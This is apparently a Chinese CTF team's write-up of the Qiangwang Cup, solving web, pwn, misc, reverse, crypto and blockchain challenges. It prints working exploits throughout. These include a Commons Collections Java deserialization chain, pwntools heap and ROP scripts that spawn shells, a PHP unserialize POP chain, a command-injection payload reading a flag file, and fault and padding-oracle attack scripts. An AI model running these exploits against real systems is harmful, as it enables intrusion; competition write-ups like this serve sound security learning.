[TOC]
Web
easy_java
绕一下过滤就行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.AbstractMapBag;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.IdentityHashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] fake = new Transformer[]{
new ConstantTransformer("placeholder"),
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"forName", new Class[]{String.class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{"java.lang.Runtime"}}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"bash", "-c", ""}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
IdentityHashMap identityHashMap = new IdentityHashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(identityHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
HashBag hashMap = new HashBag();
hashMap.add(tiedMapEntry, 1);
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
identityHashMap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
dice2cry
http://106.14.66.189/abi.php.bak 得到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
session_start();
header("Content-type:text/html;charset=utf-8");
$data = json_decode($json_string, true);
$rand_number = isset($_POST['this_is.able']) ? $_POST['this_is.able'] : mt_rand();
$n = gmp_init($data['n']);
$d = gmp_init($data['d']);
$c = gmp_init($rand_number);
$m = gmp_powm($c,$d,$n);
$v3 = gmp_init('3');
$r = gmp_mod($m,$v3);
$result=(int)gmp_strval($r);
$dice = array("num"=>$result);
$json_obj = json_encode($dice);
echo $json_obj;
?>
可以看到 https://github.com/php/php-src/commit/fc4d462e947828fdbeac6020ac8f34704a218834 这次 commit 修了一个bug,我们可以用[
绕过 php 对点的转换。web 部分结束
密码学部分:RSA LSB Oracle,不过是mod 3的。把区间改一改就行了
1 | import requests |
half_infiltration
1 | view-source:http://39.98.131.124/?x=a:2:{i:0;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:6:%22result%22;}i:1;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:4:%22this%22;}} |
通过$this
让 php 产生 fatal error 打破 obstart
得到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
1 |
|
content 貌似是对 <? php = 有关键字过滤,含有这些的就会被 404 ,猜测是用了file_put_contents
,并且它支持 php 伪协议写文件,所以可以尝试用 base64 进行绕过
1 |
|
Pwn
qwblogin
先逆向过pow,前三个字节直接爆破出来QWQ。之后下断看到是断在了read 0x21的地方。
随便输点东西,跟着后面调试外加看ida的反编译加看官方文档大体可以看出来是将输入的东西分为4组,每组8字节,分别跟一些固定的数字xor,随后cmp对比。
逆向下来是这样的字符串1
'G00DR3VR'+'W31LD0N3'+'Try2Pwn!'+'GOGOGOGO'
之后会再进入一个read流程,下断可以看出来是read 0 stack 0x800。stack为程序虚拟的栈空间。
跟c类似的是,这个存在栈溢出。所以最后类似这种形式 0x100‘a’+p64(rbp)+p64(ret_addr)
再调用ret。很明显一个基于vm的栈溢出(指溢出vm的栈跳vm的code
然后回check这个偏移不大于0x1000,也就是跳不出code区,只能用程序原本就带的code来执行。我们写入不了opcode。
因为是类c的写法,所以找gadget也可以参考c的pop ret的方法。去搜索0x11(ret)。
人肉识别下来是有了syscall的所有调用//0x8 0x9 0xa
以及能控制所有的syscall所需要的参数。//a1[0] a1[1] a1[2] a1[3]
之后用程序自带的orw功能去搞就行。
<!–hexoPostRenderEscape:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29from pwn import
flag=chr(0x51)+chr(0x57)+chr(0x51)
i=0
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
#r=process('sh','./launch.sh')
#r=process(['./emulator','./test.bin'])
r=remote('47.94.20.173',32142)
r.recvuntil('password:')
r.send(flag)
#gd('b $rebase(0x1272)')
r.sendline('G00DR3VR'+'W31LD0N3'+'Try2Pwn!'+'GOGOGOGO')
#gd()
syscall9=0x617
syscall=0x5b0+1
sy=0x6ed
p0r=0x2f5
p1r=0x377
p2r=0x45c
p3r=0x4e1
#gd('b read')p64(p0r)+p64(2)
payload='a'0x108
payload+=p64(p0r)+p64(1)+p64(p1r)+p64(0)+p64(p2r)+p64(0x100)+p64(p3r)+p64(0x40)+p64(syscall)+p64(p0r)+p64(0)+p64(p1r)+p64(0x100)+p64(p2r)+p64(0)+p64(sy)+p64(p0r)+p64(1)+p64(p1r)+p64(4)+p64(p2r)+p64(0x200)+p64(p3r)+p64(0x100)+p64(syscall)+p64(p0r)+p64(2)+p64(p1r)+p64(1)+p64(p2r)+p64(0x1ff)+p64(p3r)+p64(0x100)+p64(syscall)
r.send(payload)
sleep(0.1)
r.send('./flag')
r.interactive()
direct
负数溢出,在edit的时候,offset可以为负数,这种情况下可以去修改chunk的size以及向上修改很长的区域。
但没有leak函数。打stdout因为没有任何跟io有关的操作也实现不了。
在readdir那边的操作时候,可以先readdir完随后通过修改size分配unsorted bin去写入libc地址,然后给下一个将被readdir给读取出来的字符串连起来。
最后一发入魂。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53from pwn import*
def menu(ch):
r.sendlineafter('Your choice: ',str(ch))
def add(index,size):
menu(1)
r.sendlineafter('Index:',str(index))
r.sendlineafter('Size: ',str(size))
def edit(index,offset,size,content):
menu(2)
r.sendlineafter('Index: ',str(index))
r.sendlineafter('Offset: ',str(offset))
r.sendlineafter('Size: ',str(size))
r.sendafter('Content: ',content)
def free(index):
menu(3)
r.sendlineafter('Index: ',str(index))
def openfile():
menu(4)
def closefile():
menu(5)
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
#r = process('./direct')
r=remote('106.14.214.3',1912)
libc =ELF('./libc-2.27.so')
add(0,0x50)
openfile()
closefile()
add(1,0x100)
add(2,0x90)
add(3,0x90)
add(4,0x90)
edit(0,-0x10,0x10,p64(0)+p64(0x80a1))
free(0)
add(0,0xe0)
edit(1,-0x7fe8,0x50,'a'*0x37+'b')
closefile()
r.recvuntil('aaaab')
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
lbase=leak-96-0x10-libc.symbols['__malloc_hook']
free(2)
free(3)
#gd()
edit(4,-0xa0,0x10,p64(lbase+libc.symbols['__free_hook']))
edit(4,0,0x10,'/bin/sh')
add(5,0x90)
add(6,0x90)
edit(6,0,0x10,p64(lbase+libc.symbols['system']))
r.interactive()
easypwn
首先一个off by null 可以构造一个堆块重叠,然后爆破半个字节并利用unsorted bin attack 攻击 global_max_fast,之后则是一个 free对应大小的块 越界后覆盖stdout的read_end 和 write_ptr指针,并令覆盖的内容相同 即可 leak libc_base,之后则是一个攻击 malloc_hook写入rce的ez操作1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85from pwn import*
#context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('Your choice:',str(ch))
def new(size):
menu(1)
p.sendlineafter('size:',str(size))
def edit(index,content):
menu(2)
p.sendlineafter('idx:',str(index))
p.sendafter('content:', content)
def free(index):
menu(3)
p.sendlineafter('idx:',str(index))
def F(index):
sleep(0.05)
p.sendline('3')
sleep(0.05)
p.sendline(str(index))
def E(index,content):
sleep(0.05)
p.sendline('2')
sleep(0.05)
p.sendline(str(index))
sleep(0.05)
p.send(content)
while True:
p = process('./main')
libc =ELF('./libc-2.23.so')
# p = remote('39.101.184.181',10000)
try:
new(0x18) #0
new(0x2F8) #1
new(0x2F8) #2
new(0x380) #3
new(0x380) #4
new(0x380) #5
new(0x380) #6
new(0x380) #7
edit(7,(p64(0) + p64(0x21))*0x38)
new(0x18) #8
free(0)
edit(1,'\x00'*0x2F0 + p64(0x320))
free(2)
####################
new(0x18) #0
new(0x78) #2
new(0x78) #9
new(0xF8) #10
new(0x88) #11
new(0x68) #12
new(0x2F8) #13
free(2)
edit(9,'\x00'*0x70 + p64(0x100))
free(10)
new(0x78) #2
new(0x78) #10 = 9
new(0xF8) #14
free(2)
edit(1,p64(0) + '\xE8\x37\n')
new(0x70)
edit(1,'\x00'*0x78 + p64(0x1631) + '\n')
free(9)
E(1,'\x00'*0x78 + p64(0x1651) + '\n')
F(10)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_']
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce = libc_base + 0xF0364
free(12)
edit(1,'\x00'*0x288 + p64(0x71) + p64(malloc_hook - 0x23) + '\n')
new(0x60) #9
new(0x60) #10
edit(10,'\x00'*0x13 + p64(rce) + '\n')
new(0x10)
break
except:
p.close()
continue
p.interactive()
oldschool
审计一下给的源文件即可知道,在mmap_edit中因为 < 和 > 符号搞错了,导致越界,往一个地址写入一个64位长的整型变量,此时只需要leak libc,然后计算出此偏移,因为mmap_edit时的指针类型为int类型,所以 需要之前 offset>>2 才是正确的offset,之后就是往free_hook写入一个system,free(‘/bin/sh’)即可getshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57from pwn import*
context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('Your choice:',str(ch))
def new(index,size):
menu(1)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(size))
def edit(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)
def show(index):
menu(3)
p.sendlineafter('Index: ',str(index))
def free(index):
menu(4)
p.sendlineafter('Index: ',str(index))
def m_new(index):
menu(6)
p.sendlineafter('start: ',str(index))
def m_edit(index,value):
menu(7)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Value: ',str(value))
def m_free():
menu(8)
p = process('./main')
libc =ELF('./libc-2.27.so')
p = remote('106.14.214.3',2333)
for i in range(8):
new(i,0x100)
for i in range(8):
free(7 - i)
for i in range(7):
new(i + 1,0x100)
show(1)
p.recvuntil('Content: ')
heap_base = u32(p.recv(4)) - 0x380
log.info('HEAP:\t' + hex(heap_base))
new(0,0x78)
new(8,0x78)
edit(1,'/bin/sh\n')
show(0)
libc_base = u32(p.recvuntil('\xF7')[-4:]) - libc.sym['__malloc_hook'] - 0xD8
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.info('LIBC:\t' + hex(libc_base))
rce = libc_base + 0x3D130
m_new(0)
address = ((free_hook - 0xE0000000)>>2)
m_edit(address,system)
free(1)
p.interactive()
Misc
miscstudy
找到一个访问 http://39.99.247.28/fonts/1 的流量
得到flag{level1_begin_and_level2_is_come
还从中得到了私钥信息,将其导入Wireshark可以解密后续的部分TLS流量。
继续往后翻stream,可以发现一个图片:
访问 https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png 下载图片
在末尾能看到一串类似base64编码的字符串:
解码得到level3_start_it
在文件末尾的上面,也能发现3串base64编码后的字符串,对其分别解码后得到一串长度为3600的01字符串,按照每60个一行,可以得到一个二维码:
1 | from PIL import Image |
扫描得到
链接:https://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug 提取码:1lms
下载得到level4.zip
stegbreak,密码power123
JPHS提取得到1
2
3
4https://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw
mrpt
level4_here_all
level5_is_aaa
level6.zip中有3个txt文件,crc爆破得到level6_isready
level7.zip明文碰撞1.png,再水印隐写可以得到level7ishere和39.99.247.28/final_level/
源码里看到
Snow隐写 解密得到the_misc_examaaaaaaa_!!!}
flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaalevel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}
Rev
xx_warmup_obf
ELF逆向,里面全是混淆,使用pin改了一个插件出来,可以用来统计运行过的指令地址,编写idapython,将未运行的指令patch成nop,可以看到程序多了很多函数,大概流程就是:输入,判断长度28,然后进入到一个解方程的地方,解方程即可
1 | # -*- coding: UTF-8 -*- |
imitation_game
fork后子进程是一个CBC AES,正确后,父进程启动了一个chip8程序,这里的字节码进行过更改,打log后,分析,是一个1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33v0
+2
v1
+1
v2
+1
xor 1
*********
v3
+3
v4
+2
v5
xor 2
+1
***********
v6
*2
v7
+1
v8
xor 1
+1
*************
v9
+2
先对输入做上面的操作
然后进入27a这个乘法
俩个参数,一个输入一个乘法系数
1 2 1
2 1 1
1 2 2
系输如上,三组循环,解方程即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# -*- coding: UTF-8 -*-
from z3 import *
s = Solver()
key = [BitVec('%d'%i,8) for i in range(3)]
s.add(key[0]+2*key[1]+key[2] == 0x37)
s.add(2*key[0]+key[1]+key[2] == 0x37)
s.add(key[0]+2*key[1]+2*key[2] == 0x3b)
flag = ''
if s.check() == sat:
print s.model()
aaa = [10,2,13,14,15,1,2,12,1,3]
flag = 'flag{6c8f1d78770fe672122478c6f9a150e6'
for i in range(len(aaa)):
flag += str(hex(aaa[i]).replace('0x',''))
flag += '}'
print flag
算出来是a2def12c13
Crypto
fault
differential fault attack SM4
找paper:
Min WANG,Zhen WU,Jin-tao RAO,Hang LING. Round reduction-based fault attack on SM4 algorithm[J]. Journal on Communications, 2016, 37(Z1): 98-103.
这篇不太行,直接把最后的几轮给扔了,不太realistic;不过从中学到了SM4的构造,以及SM4的DFA相关研究
找到了https://eprint.iacr.org/2010/063.pdf
We show that if a random byte fault is induced into either the second, third or fourth word register at the input of the 28-th round, the 128-bit master key could be derived with an exhaustive search of 22.11 bits on average.
28轮的第2、3、4个寄存器出错,可以直接整出master key,很对头,但是有点难理解
The procedure of the round-key generation indicates that the master key can be easily retrieved from any four consecutive round-keys.
然后几个paper轮流看。
选择了需要fault次数最多的那个方法。(因为容易理解一些
paper:https://wenku.baidu.com/view/df86818e79563c1ec5da71c4.html
出题人没整好输入的round(只能在第2~31轮注入fault, 而非1~32轮),所以操作的时候就稍微需要自己改变一下
往第31轮的X30上注入1byte的fault,将会导致第32轮的X34的差分值有1byte不为0。
然后往F函数里面日:
可以激活一个sbox:必有一个sbox的差分值不为0(其他3个sbox均为0),且这个sbox的位置可控;这个sbox的两个差分输入r_inp, f_inp 也能确定下来。
r_byte: raw input byte
f_byte: fault input byte
再来从下往上看这个sbox输出的差分值:
paper里有具体的分析,看不懂,直接看到结论。这个结论就是说sbox输出的差分值diff_out也能确定下来。
ok,然后穷举这个sbox所对应那一byte子密钥rk_byte(仅256种可能,一个子密钥有4byte,每1byte对应一个sbox),计算sbox(r_inp ^ rk_byte) ^ sbox(f_inp ^ rk_byte),看是否等于diff_out,如果等于就说明这个byte可以作为备选子密钥byte(理论值是说这边有2.0236个可能的candidate子密钥byte)。两次这么操作后,基本上就可以确定下这个byte到底是哪一个了。
然后这么再去另外3个sbox对应的位置处注入fault,即可恢复出这第32轮的4byte子密钥。
恢复出来后,可以解密一轮来到第31轮,往第30轮的X29处注入fault,等价于往第31轮的X33处注入,然后同样的操作,可以恢复这第31轮的子密钥。
再恢复2轮,即可得到第30、29轮的子密钥。
key schedule可逆,能通过这最后4轮的子密钥直接搞到master key
最后解密,getflag
脚本很乱:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201from collections import Counter
import random
from itertools import product
from hashlib import sha256
from pwn import *
from sm4 import *
from func import xor, rotl, get_uint32_be, put_uint32_be, \
bytes_to_list, list_to_bytes, padding, unpadding
token = b"icq3f18237ca27013a7969864ab40836"
r = remote("39.101.134.52", 8006)
# context.log_level = 'debug'
# PoW
rec = r.recvline().decode()
suffix = re.findall(r'XXX\+([^\)]+)', rec)[0]
digest = re.findall(r'== ([^\n]+)', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")
print('Calculating hash...')
for i in product(string.ascii_letters + string.digits, repeat=3):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == digest:
print(guess)
break
r.sendafter(b'Give me XXX:', prefix.encode())
r.sendafter(b"teamtoken", token)
r.recvuntil(b"your flag is\n")
enc_flag = r.recvline().strip()
print(enc_flag)
plaintext = b"\x00" * 15
def ltor(b, l):
bits = bin(b)[2:]
return int(bits[-l:] + bits[:-l], 2)
def inv_Y(cipher):
# bytes -> list
Y0 = get_uint32_be(cipher[0:4])
Y1 = get_uint32_be(cipher[4:8])
Y2 = get_uint32_be(cipher[8:12])
Y3 = get_uint32_be(cipher[12:16])
# X32, X33, X34, X35
return [Y3, Y2, Y1, Y0]
def inv_round(Xs):
return [Xs[-1], Xs[0], Xs[1], Xs[2]]
def get_rk_byte(raw_cipher, fault_ciphers, j):
r_res, r_X32, r_X33, r_X34 = inv_round(raw_cipher)
r_byte = put_uint32_be(r_X32 ^ r_X33 ^ r_X34)[j%4]
ios = []
for f_cipher in fault_ciphers:
f_res, f_X32, f_X33, f_X34 = inv_round(f_cipher)
diff_out = ltor(put_uint32_be(r_res ^ f_res)[(j-1)%4], 2)
f_byte = put_uint32_be(f_X32 ^ f_X33 ^ f_X34)[j%4]
ios.append((f_byte,diff_out))
# print(ios)
candidate_keys = Counter()
for rk_byte in range(256):
for f_byte, diff_out in ios:
if SM4_BOXES_TABLE[r_byte^rk_byte] ^ SM4_BOXES_TABLE[f_byte^rk_byte] == diff_out:
candidate_keys[rk_byte] += 1
return candidate_keys.most_common()[0][0]
def get_r_cipher():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"your plaintext in hex:", plaintext.hex().encode())
cipher = bytes.fromhex(r.recvline().strip().decode().split("hex:")[1])
return cipher
def get_f_cipher(round, j):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"your plaintext in hex:", plaintext.hex().encode())
r.sendlineafter(b"give me the value of r f p:", f"{round} {random.getrandbits(8)} {j}")
cipher = bytes.fromhex(r.recvline().strip().decode().split("hex:")[1])
return cipher
def f(x0, x1, x2, x3, rk):
# "T algorithm" == "L algorithm" + "t algorithm".
# args: [in] a: a is a 32 bits unsigned value;
# return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
def _sm4_l_t(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
c = bb ^ (rotl(bb, 2)) ^ (rotl(bb, 10)) ^ (rotl(bb, 18)) ^ (rotl(bb, 24))
return c
return (x0 ^ _sm4_l_t(x1 ^ x2 ^ x3 ^ rk))
def decrypt_one_round(cipher, rk):
return [f(cipher[3], cipher[0], cipher[1], cipher[2], rk), cipher[0], cipher[1], cipher[2]]
def decrypt_rounds(cipher, rks):
for rk in rks:
cipher = decrypt_one_round(cipher, rk)
return cipher
raw_cipher = inv_Y(get_r_cipher())
print(raw_cipher)
rks = []
for round in range(31, 27, -1):
# print(round)
rk = 0
for j in range(4):
fault_ciphers = set()
for k in range(10):
fault_ciphers.add(get_f_cipher(round, j))
fault_ciphers = [inv_Y(i) for i in fault_ciphers]
fault_ciphers = [decrypt_rounds(f_cipher, rks) for f_cipher in fault_ciphers]
rk_byte = get_rk_byte(raw_cipher, fault_ciphers, j)
rk = (rk << 8) + rk_byte
print(f"round {round+1} subkey: {rk}")
rks.append(rk)
raw_cipher = decrypt_one_round(raw_cipher, rk)
def _round_key(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
rk = bb ^ (rotl(bb, 13)) ^ (rotl(bb, 23))
return rk
# def set_key(key, mode):
# key = bytes_to_list(key)
# sk = []*32
# MK = [123, 456, 789, 145]
# k = [0]*36
# MK[0] = get_uint32_be(key[0:4])
# MK[1] = get_uint32_be(key[4:8])
# MK[2] = get_uint32_be(key[8:12])
# MK[3] = get_uint32_be(key[12:16])
# k[0:4] = xor(MK[0:4], SM4_FK[0:4])
# for i in range(32):
# k[i + 4] = k[i] ^ (
# _round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
# sk[i] = k[i + 4]
# return sk
def inv_key_schedule(rks): # rks: [rk32, rk31, rk30, rk29]
k = [0] * 32 + rks[::-1]
for i in range(31, -1, -1):
k[i] = k[i+4] ^ (_round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
print(k[4:])
Mk = [0] * 4
for j in range(4):
Mk[j] = SM4_FK[j] ^ k[j]
master_key = []
for i in range(4):
master_key += put_uint32_be(Mk[i])
return list_to_bytes(master_key)
Mk = inv_key_schedule(rks)
print(Mk)
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"your key in hex:", Mk.hex().encode())
r.sendlineafter(b"your ciphertext in hex:", enc_flag)
r.recvuntil(b"your plaintext in hex:")
flag = r.recvline().strip().decode()
print(bytes.fromhex(flag))
r.interactive()
但是能getflag:
modestudy
第一关 cbc bit flip,把第一块密文的最后一字节xor上0x1即可
第二关
扔给服务器两个一样的c1、c2,然后iv = (c1 ^ p2) ^ p1
第三关
把第3块密文换成第5块密文
第四关 低配版 BEAST Attack
第五关 几次尝试后,发现它的加密实际上就是对每2byte进行置换,列一个置换表出来,即可找到secret
第六关 padding oracle attack
1 | import re |
Blockchain
IPFS
可以通过命令ipfs cat <hash> > i.data
把pic1.jpg的6块block给下载下来,很明显第4条hash对应jpg文件的开头,第5条hash对应jpg文件的结尾
剩余的4块可以穷举拼接一下,看能不能恢复成正常的图形:
1 | from itertools import permutation |
发现0213.jpg可以正常显示:
pic2.jpg,给出了文件的sha256sum,根据QmHash的格式,可以得到pic2.jpg的QmHash:
1 | import base58 |
ipfs cat QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 > pic2.jpg
可以得到第二张图片:
组合起来就是:flag=flag{md5( hash1 + hash2 )}
hash2已经有了:QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3
hash1可以通过再重新上传pic1.jpg得到。
观察发现出题人上传pic1.jpg时,设置的block-size是26624
看一下ipfs add --help
发现能够通过--chunker=size-26624
指定block的大小
重新上传得到root hash:QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7
flag{35fb9b3fe44919974a02c26f34369b8e}
强网先锋
主动
ip=127.0.0.1;cat%20fl\ag.php
upload
流量包题
分析流量包可知,上传了一个steghide.jpg文件,将其导出,steghide extract -sf steghide.jpg
,密码123456,得到flag.txt
flag{te11_me_y0u_like_it}
Funhash
web题 http://39.101.177.96/
payload1
http://39.101.177.96/?hash1=0e251288019&hash2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&hash3=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&hash4=ffifdyop
web辅助
http://eci-2ze9cia09xafqb8rd109.cloudeci1.ichunqiu.com/
签到题,看脚本吧,没什么难度1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117<?php
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
echo "triggered";
}
public function __toString(){
$this->KS();
return "";
}
}
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
$jungle = new jungle();
$mid = new midsolo($jungle);
$top = new topsolo($mid);
$exp = serialize($top);
$exp = str_replace("s:7:\"\x00*\x00name\"", 'S:7:"\00*\00\6eame"', $exp);
echo strlen($exp) . "\n";
var_dump($exp);
$username = str_repeat('\0*\0', 13) . 'a';
$password = "aaa\";s:8:\"\0*\0admin\";" . $exp . "s:7:\"\0*\0user\";s:2:\"12\";}";
$password = str_replace('}}', "\"s:2:\"zz\";s:2:\"12\";}}", $password);
echo urlencode($username) . "\n";
echo base64_encode($password) . "\n";
//system("curl -vv http://eci-2zei1qumnps7yxtlfg2a.cloudeci1.ichunqiu.com/?username=" . urlencode($username) . "&password=" . urlencode($password));
echo "curl -vv http://eci-2zei1qumnps7yxtlfg2a.cloudeci1.ichunqiu.com/?username=" . urlencode($username) . "&password=" . urlencode($password) . "\n";
$player = new player($username, $password);
$dump = write(serialize($player));
$dump = read($dump);
echo base64_encode($dump) . "\n";
var_dump(unserialize($dump));
var_dump($dump);
侧防
rev
xor key后有个换位操作,做对应逆运算即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 a = 'QWBlogs'
b = [0x4C, 0x78, 0x7C, 0x64, 0x54, 0x55, 0x77, 0x65, 0x5C, 0x49,
0x76, 0x4E, 0x68, 0x43, 0x42, 0x4F, 0x4C, 0x71, 0x44, 0x4E,
0x66, 0x57, 0x7D, 0x49, 0x6D, 0x46, 0x5A, 0x43, 0x74, 0x69,
0x79, 0x78, 0x4F, 0x5C, 0x50, 0x57, 0x5E, 0x65, 0x62, 0x44]
